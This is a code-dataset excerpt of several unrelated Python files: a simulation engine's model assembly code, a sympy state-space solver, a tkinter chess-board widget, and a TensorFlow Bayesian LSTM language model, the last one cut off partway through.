self.index_helper: how many of the same item type do we have?\n # max_scope_len: maximum number of variables one item can have\n # not correcly sized, as np.object\n # (eq_idx, ind_of_eq_access, var_index_in_scope) -> scope_variable.value\n self.index_helper = np.empty(len(self.synchronized_scope), int)\n max_scope_len = max(map(len, self.non_flat_scope_idx_from))\n self.scope_vars_3d = np.zeros([len(self.compiled_eq), np.max(self.num_uses_per_eq), max_scope_len])\n\n self.length = np.array(list(map(len, self.non_flat_scope_idx)))\n\n _index_helper_counter = np.zeros(len(self.compiled_eq), int)\n # self.scope_vars_3d = list(map(np.empty, zip(self.num_uses_per_eq, self.num_vars_per_eq)))\n for scope_idx, (_flat_scope_idx_from, eq_idx) in enumerate(\n zip(self.non_flat_scope_idx_from, self.compiled_eq_idxs)):\n _idx = _index_helper_counter[eq_idx]\n _index_helper_counter[eq_idx] += 1\n self.index_helper[scope_idx] = _idx\n\n _l = self.num_vars_per_eq[eq_idx]\n self.scope_vars_3d[eq_idx][_idx, :_l] = scope_variables_flat[_flat_scope_idx_from]\n self.state_idxs_3d = self._var_idxs_to_3d_idxs(self.states_idx, False)\n self.deriv_idxs_3d = self._var_idxs_to_3d_idxs(self.derivatives_idx, False)\n _differing_idxs = self.flat_scope_idx != self.flat_scope_idx_from\n self.var_idxs_pos_3d = self._var_idxs_to_3d_idxs(np.arange(len(self.variables)), False)\n self.differing_idxs_from_flat = self.flat_scope_idx_from[_differing_idxs]\n self.differing_idxs_pos_flat = self.flat_scope_idx[_differing_idxs]\n self.differing_idxs_from_3d = self._var_idxs_to_3d_idxs(self.differing_idxs_from_flat, False)\n self.differing_idxs_pos_3d = self._var_idxs_to_3d_idxs(self.differing_idxs_pos_flat, False)\n self.sum_idxs_pos_3d = self._var_idxs_to_3d_idxs(self.sum_idx, False)\n self.sum_idxs_sum_3d = self._var_idxs_to_3d_idxs(self.sum_mapped, False)\n\n # 6. Compute self.path_variables and updating var_idxs_pos_3d\n # var_idxs_pos_3d_helper shows position for var_idxs_pos_3d for variables that have\n # multiple path\n #\n var_idxs_pos_3d_helper = []\n for i, variable in enumerate(self.variables.values()):\n for path in variable.path.path[self.system.id]:\n self.path_variables.update({path: variable.value})\n var_idxs_pos_3d_helper.append(i)\n self.var_idxs_pos_3d_helper = np.array(var_idxs_pos_3d_helper, dtype=np.int64)\n\n # This can be done more efficiently using two num_scopes-sized view of a (num_scopes+1)-sized array\n _flat_scope_idx_slices_lengths = list(map(len, non_flat_scope_idx))\n self.flat_scope_idx_slices_end = np.cumsum(_flat_scope_idx_slices_lengths)\n self.flat_scope_idx_slices_start = np.hstack([[0], self.flat_scope_idx_slices_end[:-1]])\n\n assemble_finish = time.time()\n print(\"Assemble time: \",assemble_finish - assemble_start)\n self.info.update({\"Assemble time\": assemble_finish - assemble_start})\n self.info.update({\"Number of items\": len(self.model_items)})\n self.info.update({\"Number of variables\": len(self.scope_variables)})\n self.info.update({\"Number of equation scopes\": len(self.equation_dict)})\n self.info.update({\"Number of equations\": len(self.compiled_eq)})\n self.info.update({\"Solver\": {}})\n\n def _var_idxs_to_3d_idxs(self, var_idxs, _from):\n if var_idxs.size == 0:\n return (np.array([], dtype=np.int64), np.array([], dtype=np.int64)\n , np.array([], dtype=np.int64))\n _scope_idxs = (self.var_idx_to_scope_idx_from if _from else\n self.var_idx_to_scope_idx)[var_idxs]\n _non_flat_scope_idx = self.non_flat_scope_idx_from if _from else self.non_flat_scope_idx\n return (\n self.compiled_eq_idxs[_scope_idxs],\n self.index_helper[_scope_idxs],\n np.fromiter(itertools.starmap(list.index,\n zip(map(list, _non_flat_scope_idx[_scope_idxs]),\n var_idxs)),\n int))\n\n def get_states(self):\n \"\"\"\n\n Returns\n -------\n states : list of states\n list of all states.\n \"\"\"\n return self.scope_variables[self.states_idx]\n\n def synchornize_variables(self):\n '''\n Updates all the values of all Variable instances stored in\n `self.variables` with the values stored in `self.scope_vars_3d`.\n '''\n for variable, value in zip(self.variables.values(),\n self.scope_vars_3d[self.var_idxs_pos_3d]):\n variable.value = value\n\n def update_states(self, y):\n self.scope_variables[self.states_idx] = y\n\n\n def history_as_dataframe(self):\n time = self.data[0]\n data = {'time': time}\n\n for i, var in enumerate(self.var_list):\n data.update({var: self.data[i + 1]})\n\n self.df = pd.DataFrame(data)\n self.df = self.df.dropna(subset=['time'])\n self.df = self.df.set_index('time')\n self.df.index = pd.to_timedelta(self.df.index, unit='s')\n\n\n def validate(self):\n \"\"\"\n Checks that all bindings are fulfilled.\n \"\"\"\n valid = True\n for item in self.model_items.values():\n for binding in item.bindings:\n if binding.is_bindend():\n pass\n else:\n valid = False\n return valid\n\n def search_items(self, item_tag):\n \"\"\"\n Search an item in items registered in the model by a tag\n\n Returns\n ----------\n items : list of :class:`numerous.engine.system.Item`\n set of items with given tag\n \"\"\"\n return [item for item in self.model_items.values() if item.tag == item_tag]\n\n def __create_scope_mappings(self):\n for scope in self.synchronized_scope.values():\n for var in scope.variables.values():\n if var.mapping_id:\n var.mapping = self.scope_variables[var.mapping_id]\n if var.sum_mapping_id:\n var.sum_mapping = self.scope_variables[var.sum_mapping_id]\n\n def restore_state(self, timestep=-1):\n \"\"\"\n\n Parameters\n ----------\n timestep : time\n timestep that should be restored in the model. Default last known state is restored.\n\n Restores last saved state from the historian.\n \"\"\"\n last_states = self.historian.get_last_state()\n r1 = []\n for state_name in last_states:\n if state_name in self.path_variables:\n if self.path_variables[state_name].type.value not in [VariableType.CONSTANT.value]:\n self.path_variables[state_name].value = list(last_states[state_name].values())[0]\n if self.path_variables[state_name].type.value is VariableType.STATE.value:\n r1.append(list(last_states[state_name].values())[0])\n self.scope_vars_3d[self.state_idxs_3d] = r1\n\n @property\n def states_as_vector(self):\n \"\"\"\n Returns current states values.\n\n Returns\n -------\n state_values : array of state values\n\n \"\"\"\n return self.scope_vars_3d[self.state_idxs_3d]\n\n def get_variable_path(self, id, item):\n for (variable, namespace) in item.get_variables():\n if variable.id == id:\n return \"{0}.{1}\".format(namespace.tag, variable.tag)\n if hasattr(item, 'registered_items'):\n for registered_item in item.registered_items.values():\n result = self.get_variable_path(id, registered_item)\n if result:\n return \"{0}.{1}\".format(registered_item.tag, result)\n return \"\"\n\n def save_variables_schedule(self, period, filename):\n \"\"\"\n Save data to file on given period.\n\n Parameters\n ----------\n period : timedelta\n timedelta of saving history to file\n\n filename : string\n Name of a file\n Returns\n -------\n\n \"\"\"\n self.period = period\n\n def saver_callback(t, _):\n if t > self.period:\n self.historian.save(filename)\n self.period = t + self.period\n\n callback = _SimulationCallback(\"FileWriter\")\n callback.add_callback_function(saver_callback)\n self.callbacks.append(callback)\n\n def add_event(self, name, event_function, callbacks=None):\n \"\"\"\n Creating and adding Event callback.\n\n\n Parameters\n ----------\n name : string\n name of the event\n\n event_function : callable\n\n\n callbacks : list of callable\n callback associated with event\n\n Returns\n -------\n\n \"\"\"\n if not callbacks:\n callbacks = []\n self.events.update({name: _Event(name, self, event_function=event_function, callbacks=callbacks)})\n\n def add_event_callback(self, event_name, event_callback):\n \"\"\"\n Adding the callback to existing event\n\n Parameters\n ----------\n event_name : string\n name of the registered event\n\n event_callback : callable\n callback associated with event\n\n\n Returns\n -------\n\n \"\"\"\n self.events[event_name].add_callbacks(event_callback)\n\n def create_alias(self, variable_name, alias):\n \"\"\"\n\n Parameters\n ----------\n variable_name\n alias\n\n Returns\n -------\n\n \"\"\"\n self.scope_variables[variable_name].alias = alias\n\n def add_callback(self, callback_class: NumbaCallbackBase) -> None:\n \"\"\"\n\n \"\"\"\n\n self.callbacks.append(callback_class)\n numba_update_function = Equation_Parser.parse_non_numba_function(callback_class.update, r\"@NumbaCallback.+\")\n self.numba_callbacks.append(numba_update_function)\n\n if callback_class.update.run_after_init:\n self.numba_callbacks_init_run.append(numba_update_function)\n\n numba_initialize_function = Equation_Parser.parse_non_numba_function(callback_class.initialize,\n r\"@NumbaCallback.+\")\n\n self.numba_callbacks_init.append(numba_initialize_function)\n self.numba_callbacks_variables.append(callback_class.numba_params_spec)\n\n def create_model_namespaces(self, item):\n namespaces_list = []\n for namespace in item.registered_namespaces.values():\n model_namespace = ModelNamespace(namespace.tag, namespace.outgoing_mappings)\n equation_dict = {}\n eq_variables_ids = []\n for eq in namespace.associated_equations.values():\n equations = []\n ids = []\n for equation in eq.equations:\n equations.append(equation)\n for vardesc in eq.variables_descriptions:\n variable = namespace.get_variable(vardesc.tag)\n self.variables.update({variable.id: variable})\n ids.append(variable.id)\n equation_dict.update({eq.tag: equations})\n eq_variables_ids.append(ids)\n model_namespace.equation_dict = equation_dict\n model_namespace.eq_variables_ids = eq_variables_ids\n model_namespace.variables = {v.id: ScopeVariable(v) for v in namespace.variables.shadow_dict.values()}\n namespaces_list.append(model_namespace)\n return namespaces_list\n\n # Method that generates numba_model\n def generate_numba_model(self, start_time, number_of_timesteps):\n\n for spec_dict in self.numba_callbacks_variables:\n for item in spec_dict.items():\n numba_model_spec.append(item)\n\n def create_eq_call(eq_method_name: str, i: int):\n return \" self.\" \\\n \"\" + eq_method_name + \"(array_2d[\" + str(i) + \\\n \", :self.num_uses_per_eq[\" + str(i) + \"]])\\n\"\n\n Equation_Parser.create_numba_iterations(NumbaModel, self.compiled_eq, \"compute_eq\", \"func\"\n , create_eq_call, \"array_2d\", map_sorting=self.eq_outgoing_mappings)\n\n ##Adding callbacks_varaibles to numba specs\n def create_cbi_call(_method_name: str, i: int):\n return \" self.\" \\\n \"\" + _method_name + \"(time, self.path_variables)\\n\"\n\n Equation_Parser.create_numba_iterations(NumbaModel, self.numba_callbacks, \"run_callbacks\", \"callback_func\"\n , create_cbi_call, \"time\")\n\n def create_cbi2_call(_method_name: str, i: int):\n return \" self.\" \\\n \"\" + _method_name + \"(self.number_of_variables,self.number_of_timesteps)\\n\"\n\n Equation_Parser.create_numba_iterations(NumbaModel, self.numba_callbacks_init, \"init_callbacks\",\n \"callback_func_init_\", create_cbi2_call, \"\")\n\n def create_cbiu_call(_method_name: str, i: int):\n return \" self.\" \\\n \"\" + _method_name + \"(time, self.path_variables)\\n\"\n\n Equation_Parser.create_numba_iterations(NumbaModel, self.numba_callbacks_init_run, \"run_init_callbacks\",\n \"callback_func_init_pre_update\", create_cbiu_call, \"time\")\n\n @jitclass(numba_model_spec)\n class NumbaModel_instance(NumbaModel):\n pass\n\n NM_instance = NumbaModel_instance(self.var_idxs_pos_3d, self.var_idxs_pos_3d_helper,\n len(self.compiled_eq), self.state_idxs_3d[0].shape[0],\n self.differing_idxs_pos_3d[0].shape[0], self.scope_vars_3d,\n self.state_idxs_3d,\n self.deriv_idxs_3d, self.differing_idxs_pos_3d, self.differing_idxs_from_3d,\n self.num_uses_per_eq, self.sum_idxs_pos_3d, self.sum_idxs_sum_3d,\n self.sum_slice_idxs, self.sum_mapped_idxs_len, self.sum_mapping,\n self.global_vars, number_of_timesteps, len(self.path_variables), start_time)\n\n for key, value in self.path_variables.items():\n NM_instance.path_variables[key] = value\n NM_instance.path_keys.append(key)\n NM_instance.run_init_callbacks(start_time)\n\n NM_instance.historian_update(start_time)\n self.numba_model = NM_instance\n return self.numba_model\n\n def create_historian_df(self):\n # _time = self.numba_model.historian_data[0]\n # data = {'time': _time}\n #\n # for i, var in enumerate(self.path_variables):\n # data.update({var: self.numba_model.historian_data[i + 1]})\n #\n # self.historian_df = pd.DataFrame(data)\n # self.historian_df = self.historian_df.dropna(subset=['time'])\n # self.historian_df = self.historian_df.set_index('time')\n # self.historian_df.index = pd.to_timedelta(self.historian_df.index, unit='s')\n\n\n time = self.numba_model.historian_data[0]\n data = {'time': time}\n\n for i, var in enumerate(self.path_variables):\n data.update({var: self.numba_model.historian_data[i + 1]})\n\n self.historian_df = pd.DataFrame(data)\n # self.df.set_index('time')\n","sub_path":"numerous/engine/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":26323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"591710648","text":"'''\nCode for finding X(s) from a given state space model equation\n\nBy Koidala Surya Prakash\nDated Apr 16, 2020\nReleased Under GNU GPL\n\n'''\nimport sympy as sp\nimport numpy as np\n\ns = sp.Symbol('s')\n\ndef compute_X(A,B,x_0,U_s):\n k = len(A)\n I = sp.eye(k)\n X = ((((s*I - A)**-1) * B * U_s) + ((s*I - A)**-1)*x_0)\n return X\nA = np.array([[0,0],\n [0,-9]]) # Input A matrix\nB = np.array([[0],\n [45]]) # Input B matrix\nx_0 = np.array([[0],\n [0]])# Input initial comditions\nU_s = 1/s # Input U(s)\nX = compute_X(A,B,x_0,U_s)\nX = np.array(X) # It is the required X(s) matrix\nprint('X(s) = ')\nprint(X)\n","sub_path":"manual/codes/ee18btech11026.py","file_name":"ee18btech11026.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"209324613","text":"import tkinter as tk\nfrom PIL import ImageTk, Image\nimport os\n\nclass Tablero(tk.Frame):\n def __init__(self, parent, *args, **kwargs):\n super().__init__(parent, *args, **kwargs)\n self.filas = 8\n self.path = \"piezas-ajedrez/\"\n self.columnas = 8\n self.piece = \"\"\n self.dim_casilla = 40\n self.color_casillas = \"white\"\n self.dim_borde=0\n self.el_tablero = tk.Canvas(\n width=(320),\n height=(320)\n )\n self.esBlanco = True\n self.pieces = {}\n self.board = [[0]*8 for i in range(8)]\n self.el_tablero.pack()\n self.el_tablero.place(x=83, y = 142)\n self.fill_board()\n self.el_tablero.bind(\"\", self.on_board_click, self.resize)\n\n\n def fill_board(self):\n # vamos a pintar un tablero de 8x8\n for r in range(self.filas):\n for c in range(self.columnas):\n temp = \"\"\n\n if ((r+(c+1)) % 2 != 0) :\n coordenada = \"(\" + str(c) + \",\" + str(r) + \")\"\n temp = \"b.jpg\"\n else :\n coordenada = \"(\" + str(c) + \",\" + str(r) + \")\"\n temp = \"n.jpg\"\n\n photo = ImageTk.PhotoImage(Image.open(os.path.join(self.path,temp)))\n self.pieces[coordenada] = photo\n self.board[r][c] = temp\n image_id = self.el_tablero.create_image(((c*40), (r*40)+41), image = photo, anchor='sw')\n self.el_tablero.itemconfigure(image_id, image=self.pieces[coordenada])\n\n def setPiece(self, piece):\n self.piece = piece\n\n def on_board_click(self, event):\n if len(self.piece) > 0 :\n columna = ((event.x - self.dim_borde) // self.dim_casilla)\n fila = ((event.y - self.dim_borde) // self.dim_casilla)\n coodenada = \"(\" + str(columna) + \",\" + str(fila) + \")\"\n \n if ((fila+(columna+1)) % 2 != 0) :\n if (self.piece == \"trash\") :\n self.piece = \"b.jpg\"\n else:\n self.piece = self.piece + \"b.jpg\"\n else :\n if (self.piece == \"trash\") :\n self.piece = \"n.jpg\"\n else: \n self.piece = self.piece + \"n.jpg\"\n\n try:\n photo = ImageTk.PhotoImage(Image.open(self.path + self.piece))\n self.pieces[coodenada] = photo\n self.board[fila][columna] = self.piece\n image_id = self.el_tablero.create_image(((columna*40), (fila*40)+41), image = photo, anchor='sw')\n except FileNotFoundError as e:\n return\n except:\n return\n \n try:\n self.el_tablero.itemconfigure(image_id, image=self.pieces[coordenada])\n self.el_tablero.photo = photo\n self.piece = \"\"\n except NameError as e:\n return\n except:\n return\n raise\n\n def getTablero(self):\n return self.board\n\n def getCoordenadaX(self, coordenada):\n return int(coordenada[1])\n\n def getCoordenadaY(self, coordenada):\n return int(coordenada[3])\n\n def setTablero(self, board):\n for coordenada, piece in board.items():\n x = self.getCoordenadaX(coordenada)\n y = self.getCoordenadaY(coordenada)\n photo = ImageTk.PhotoImage(Image.open(self.path + piece))\n self.pieces[coordenada] = photo\n self.board[x][y] = piece\n image_id = self.el_tablero.create_image(((y*40), (x*40)+41), image = photo, anchor='sw')\n self.el_tablero.itemconfigure(image_id, image=self.pieces[coordenada])\n\n def resize(self, event):\n w,h = event.width-100, event.height-100\n self.c.config(width=w, height=h)","sub_path":"Tarea1/src/tablero.py","file_name":"tablero.py","file_ext":"py","file_size_in_byte":4038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"251243249","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport time\nimport numpy as np\nimport tensorflow as tf\nimport math\nimport reader\nimport util\nimport argparse\n\n\"\"\"\nTo obtain data:\nmkdir data && cd data && wget http://www.fit.vutbr.cz/~imikolov/rnnlm/simple-examples.tgz && tar xvf simple-examples.tgz\n\"\"\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-model', type=str, default='small',\n choices=['small', 'medium', 'large', 'test'])\nparser.add_argument('-data_path', type=str, default='./data/simple-examples/data')\nparser.add_argument('-save_path', type=str, default='./model/saved')\nparser.add_argument('-prior_pi', type=float, default=0.25)\nparser.add_argument('-log_sigma1', type=float, default=-1.0)\nparser.add_argument('-log_sigma2', type=float, default=-8.0)\nFLAGS = parser.parse_args()\n\n\ndef get_config():\n\t\"\"\"Get model config.\"\"\"\n\tconfig = None\n\tif FLAGS.model == \"small\":\n\t\tconfig = SmallConfig()\n\telif FLAGS.model == \"medium\":\n\t\tconfig = MediumConfig()\n\telif FLAGS.model == \"large\":\n\t\tconfig = LargeConfig()\n\telif FLAGS.model == \"test\":\n\t\tconfig = TestConfig()\n\telse:\n\t\traise ValueError(\"Invalid model: %s\", FLAGS.model)\n\n\t# Set BBB params\n\tconfig.prior_pi = FLAGS.prior_pi\n\tconfig.log_sigma1 = FLAGS.log_sigma1\n\tconfig.log_sigma2 = FLAGS.log_sigma2\n\n\treturn config\n\n\nclass DenseBBB(object):\n\t\"\"\"\n\tDense BBB layer used for output projection.\n\t\"\"\"\n\n\tdef __init__(self, output_dim, init_scale, input_dim=None, prior_pi=0.25, log_sigma1=-1.0,\n\t log_sigma2=-8.0, name=None):\n\t\tself.output_dim = output_dim\n\t\tself.input_dim = input_dim\n\t\tself.init_scale = init_scale\n\t\tself.prior_pi = prior_pi\n\t\tself.log_sigma1 = log_sigma1\n\t\tself.log_sigma2 = log_sigma2\n\t\tself.name = name\n\n\t\tself.build()\n\n\tdef build(self):\n\t\tdim_in, dim_out = self.input_dim, self.output_dim\n\t\ttheta_shape = (dim_in, dim_out)\n\t\twith tf.variable_scope(self.name):\n\t\t\tself.theta_mu = tf.get_variable('theta_mu', theta_shape, tf.float32,\n\t\t\t initializer=tf.random_uniform_initializer(\n\t\t\t\t -self.init_scale, self.init_scale))\n\n\t\t\tself.log_theta_std = tf.get_variable('logstd_theta', theta_shape, tf.float32,\n\t\t\t initializer=tf.random_normal_initializer(mean=-5.,\n\t\t\t stddev=1e-3))\n\t\t\t# Point estimate for the bias\n\t\t\tself.bias_term = tf.get_variable(name='bias_term',\n\t\t\t initializer=tf.constant_initializer(0.),\n\t\t\t shape=(dim_out,))\n\n\tdef __call__(self, x, stochastic=True):\n\t\ttheta_mu = self.theta_mu\n\t\ttheta = theta_mu + tf.exp(self.log_theta_std) * tf.random_normal(\n\t\t\ttf.shape(theta_mu)) if stochastic else theta_mu\n\t\tself.theta_sample = theta\n\t\toutput = tf.matmul(x, self.theta_sample) + self.bias_term\n\t\treturn output\n\n\tdef kldiv(self):\n\t\t\"\"\"\n\t\tEstimate KL[q(\\theta)||p(\\theta)] using the current sample:\n\n\t\tE_{q(\\theta)}[log q(\\theta) - log p(\\theta)] \\approx log q(\\theta) - log p(\\theta)\n\t\twhere \\theta \\sim q(\\theta).\n\t\t\"\"\"\n\n\t\t# Prior - p(\\theta) = pi * N(0,std1^{2}) + (1-pi) * N(0, std2^{2})\n\t\tprior_var_1 = tf.square(tf.exp(self.log_sigma1))\n\t\tprior_var_2 = tf.square(tf.exp(self.log_sigma2))\n\t\tp_theta = normal_mix(self.theta_sample, self.prior_pi, 0., 0., prior_var_1, prior_var_2)\n\n\t\t# Posterior - q(\\theta)\n\t\tq_var = tf.square(tf.exp(self.log_theta_std))\n\t\tq_theta = (1.0 / tf.sqrt(2.0 * q_var * math.pi)) * tf.exp(\n\t\t\t-tf.square(self.theta_sample - self.theta_mu) / (2.0 * q_var))\n\n\t\treturn tf.reduce_sum(tf.log(q_theta) - tf.log(p_theta))\n\n\nclass BayesianLSTM(tf.contrib.rnn.BasicLSTMCell):\n\tdef __init__(self, num_units, input_size, init_scale, prior_pi=0.25, log_sigma1=-1.0,\n\t log_sigma2=-8.0, forget_bias=1.0, state_is_tuple=True, activation=tf.tanh,\n\t reuse=None, name=None):\n\t\tsuper(BayesianLSTM, self).__init__(num_units, forget_bias, state_is_tuple, activation,\n\t\t reuse=reuse)\n\n\t\tself.log_sigma1 = log_sigma1\n\t\tself.log_sigma2 = log_sigma2\n\t\tself.init_scale = init_scale\n\t\tself.prior_pi = prior_pi\n\t\tself.name = name\n\n\t\tself.build_theta(input_size)\n\n\tdef build_theta(self, input_size):\n\t\t\"\"\"\n\t\tInitialize the parameters of the LSTM.\n\t\t'Tied' weights variant.\n\t\t\"\"\"\n\t\t# [x_dim + h_dim, 4 * h_dim]\n\t\ttheta_shape = [self._num_units + input_size, 4 * self._num_units]\n\t\twith tf.variable_scope(self.name):\n\t\t\tself.theta_mu = tf.get_variable('theta_mu', theta_shape, tf.float32,\n\t\t\t initializer=tf.random_uniform_initializer(\n\t\t\t\t -self.init_scale, self.init_scale))\n\n\t\t\tself.log_theta_std = tf.get_variable('logstd_theta', theta_shape, tf.float32,\n\t\t\t initializer=tf.random_normal_initializer(mean=-5.,\n\t\t\t stddev=1e-3))\n\t\t\t# Point estimate for the bias\n\t\t\tself.bias_term = tf.get_variable(name='bias_term',\n\t\t\t initializer=tf.constant_initializer(0.),\n\t\t\t shape=(4 * self._num_units,))\n\n\tdef sample_theta(self, stochastic=True):\n\t\t\"\"\"\n\t\tSample \\theta once per-minibatch\n\t\t\"\"\"\n\t\tmu = self.theta_mu\n\t\tstd = tf.exp(self.log_theta_std)\n\t\tself.theta_sample = mu + std * tf.random_normal(tf.shape(mu)) if stochastic else mu\n\t\treturn [self.theta_sample]\n\n\tdef _output(self, inputs, h, bias=True):\n\t\t\"\"\"\n\t\tForward pass in the LSTM.\n\t\t\"\"\"\n\t\txh = tf.concat([inputs, h], 1)\n\t\ttheta = self.theta_sample\n\t\tout = tf.matmul(xh, theta)\n\t\tif bias:\n\t\t\tout += self.bias_term\n\t\treturn out\n\n\tdef call(self, inputs, state):\n\t\tif self._state_is_tuple:\n\t\t\tc, h = state\n\t\telse:\n\t\t\tc, h = tf.split(value=state, num_or_size_splits=2, axis=1)\n\n\t\tconcat = self._output(inputs, h, True)\n\t\ti, j, f, o = tf.split(value=concat, num_or_size_splits=4, axis=1)\n\n\t\tnew_c = (\n\t\t\tc * tf.sigmoid(f + self._forget_bias) + tf.sigmoid(i) * self._activation(j))\n\t\tnew_h = self._activation(new_c) * tf.sigmoid(o)\n\n\t\tif self._state_is_tuple:\n\t\t\tnew_state = tf.contrib.rnn.LSTMStateTuple(c=new_c, h=new_h)\n\t\telse:\n\t\t\tnew_state = tf.concat(values=[new_c, new_h], axis=1)\n\n\t\treturn new_h, new_state\n\n\tdef kldiv(self):\n\t\t\"\"\"\n\t\tEstimate KL[q(\\theta)||p(\\theta)] using the current sample:\n\n\t\tE_{q(\\theta)}[log q(\\theta) - log p(\\theta)] \\approx log q(\\theta) - log p(\\theta)\n\t\twhere \\theta \\sim q(\\theta).\n\t\t\"\"\"\n\n\t\t# Prior - p(\\theta) = pi * N(0,std1^{2}) + (1-pi) * N(0, std2^{2})\n\t\tprior_var_1 = tf.square(tf.exp(self.log_sigma1))\n\t\tprior_var_2 = tf.square(tf.exp(self.log_sigma2))\n\t\tp_theta = normal_mix(self.theta_sample, self.prior_pi, 0., 0., prior_var_1, prior_var_2)\n\n\t\t# Posterior - q(\\theta)\n\t\tq_var = tf.square(tf.exp(self.log_theta_std))\n\t\tq_theta = (1.0 / tf.sqrt(2.0 * q_var * math.pi)) * tf.exp(\n\t\t\t-tf.square(self.theta_sample - self.theta_mu) / (2.0 * q_var))\n\n\t\treturn tf.reduce_sum(tf.log(q_theta) - tf.log(p_theta))\n\n\ndef normal_mix(samples, pi, mean1, mean2, var1, var2):\n\t\"\"\"\n\tCompute p(\\theta) = pi * N(0, std1^{2}) + (1-pi) * N(0, std2^{2}).\n\t\"\"\"\n\tgaussian1 = (1.0 / tf.sqrt(2.0 * var1 * math.pi)) * tf.exp(\n\t\t- tf.square(samples - mean1) / (2.0 * var1))\n\tgaussian2 = (1.0 / tf.sqrt(2.0 * var2 * math.pi)) * tf.exp(\n\t\t- tf.square(samples - mean2) / (2.0 * var2))\n\tmixture = (pi * gaussian1) + ((1. - pi) * gaussian2)\n\treturn mixture\n\n\nclass PTBInput(object):\n\t\"\"\"The input data.\"\"\"\n\n\tdef __init__(self, config, data, name=None):\n\t\tself.batch_size = batch_size = config.batch_size\n\t\tself.num_steps = num_steps = config.num_steps\n\t\tself.epoch_size = ((len(data) // batch_size) - 1) // num_steps\n\t\tself.input_data, self.targets = reader.ptb_producer(\n\t\t\tdata, batch_size, num_steps, name=name)\n\n\nclass PTBModel(object):\n\tdef __init__(self, is_training, config, input_):\n\t\tself._is_training = is_training\n\t\tself._input = input_\n\t\tself._rnn_params = None\n\t\tself._cell = None\n\t\tself.batch_size = input_.batch_size\n\t\tself.num_steps = input_.num_steps\n\t\tsize = config.hidden_size\n\t\tvocab_size = config.vocab_size\n\n\t\twith tf.device(\"/cpu:0\"):\n\t\t\tembedding = tf.get_variable(\n\t\t\t\t\"embedding\", [vocab_size, size], tf.float32)\n\t\t\tinputs = tf.nn.embedding_lookup(embedding, input_.input_data)\n\n\t\t# Build the BBB LSTM cells\n\t\tcells = []\n\t\tfor i in range(config.num_layers):\n\t\t\tcells.append(BayesianLSTM(config.hidden_size, forget_bias=0.0, state_is_tuple=True,\n\t\t\t reuse=not is_training,\n\t\t\t init_scale=config.init_scale,\n\t\t\t prior_pi=config.prior_pi,\n\t\t\t log_sigma1=config.log_sigma1,\n\t\t\t log_sigma2=config.log_sigma2,\n\t\t\t name='bbb_cell_{}'.format(i),\n\t\t\t input_size=size), )\n\n\t\tcell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)\n\t\tself._initial_state = cell.zero_state(config.batch_size, tf.float32)\n\t\tstate = self._initial_state\n\n\t\t# Theta must be sampled once per mini-batch\n\t\t# This can be enforced using control dep in tf\n\t\tops = []\n\t\tfor c in cells:\n\t\t\tops += c.sample_theta()\n\n\t\t# Forward pass for the truncated mini-batch\n\t\twith tf.control_dependencies(ops):\n\t\t\twith tf.variable_scope(\"RNN\"):\n\t\t\t\tinputs = tf.unstack(inputs, num=config.num_steps, axis=1)\n\t\t\t\toutputs, state = tf.contrib.rnn.static_rnn(cell, inputs,\n\t\t\t\t initial_state=state)\n\n\t\t\toutput = tf.reshape(tf.concat(outputs, 1), [-1, config.hidden_size])\n\n\t\tself.output_projection_layer = DenseBBB(output_dim=vocab_size,\n\t\t init_scale=config.init_scale,\n\t\t input_dim=size,\n\t\t prior_pi=config.prior_pi,\n\t\t log_sigma1=config.log_sigma1,\n\t\t log_sigma2=config.log_sigma2,\n\t\t name='proj_layer')\n\n\t\tlogits = self.output_projection_layer(output)\n\t\t# Reshape logits to be a 3-D tensor for sequence loss\n\t\tlogits = tf.reshape(logits, [self.batch_size, self.num_steps, vocab_size])\n\n\t\t# Use the contrib sequence loss and average over the batches\n\t\tloss = tf.contrib.seq2seq.sequence_loss(\n\t\t\tlogits,\n\t\t\tinput_.targets,\n\t\t\ttf.ones([self.batch_size, self.num_steps], dtype=tf.float32),\n\t\t\taverage_across_timesteps=False,\n\t\t\taverage_across_batch=True)\n\n\t\t# Update the cost\n\t\tself._cost = tf.reduce_sum(loss)\n\t\tself._final_state = state\n\n\t\tif not is_training:\n\t\t\treturn\n\n\t\t# Compute KL divergence for each cell and the projection layer\n\t\t# KL is scaled by 1./(B*C) as in the paper\n\t\tC = self._input.epoch_size\n\t\tB = self.batch_size\n\t\tscaling = 1. / (B * C)\n\n\t\tkl_div = 0.\n\t\tfor c in cells:\n\t\t\tkl_div += c.kldiv()\n\n\t\tkl_div += self.output_projection_layer.kldiv()\n\t\tkl_div *= scaling\n\n\t\t# ELBO\n\t\tself._total_loss = self._cost + kl_div\n\n\t\t# Learning rate & optimization\n\t\tself._lr = tf.Variable(0.0, trainable=False)\n\t\ttvars = tf.trainable_variables()\n\t\tgrads, _ = tf.clip_by_global_norm(tf.gradients(self._total_loss, tvars),\n\t\t config.max_grad_norm)\n\t\toptimizer = tf.train.GradientDescentOptimizer(self._lr)\n\t\tself._train_op = optimizer.apply_gradients(\n\t\t\tzip(grads, tvars),\n\t\t\tglobal_step=tf.contrib.framework.get_or_create_global_step())\n\n\t\tself._new_lr = tf.placeholder(\n\t\t\ttf.float32, shape=[], name=\"new_learning_rate\")\n\t\tself._lr_update = tf.assign(self._lr, self._new_lr)\n\n\tdef assign_lr(self, session, lr_value):\n\t\tsession.run(self._lr_update, feed_dict={self._new_lr: lr_value})\n\n\tdef export_ops(self, name):\n\t\t\"\"\"Exports ops to collections.\"\"\"\n\t\tself._name = name\n\t\tops = {util.with_prefix(self._name, \"cost\"): self._cost}\n\t\tif self._is_training:\n\t\t\tops.update(lr=self._lr, new_lr=self._new_lr, lr_update=self._lr_update)\n\t\t\tif self._rnn_params:\n\t\t\t\tops.update(rnn_params=self._rnn_params)\n\t\tfor name, op in ops.items():\n\t\t\ttf.add_to_collection(name, op)\n\t\tself._initial_state_name = util.with_prefix(self._name, \"initial\")\n\t\tself._final_state_name = util.with_prefix(self._name, \"final\")\n\t\tutil.export_state_tuples(self._initial_state, self._initial_state_name)\n\t\tutil.export_state_tuples(self._final_state, self._final_state_name)\n\n\tdef 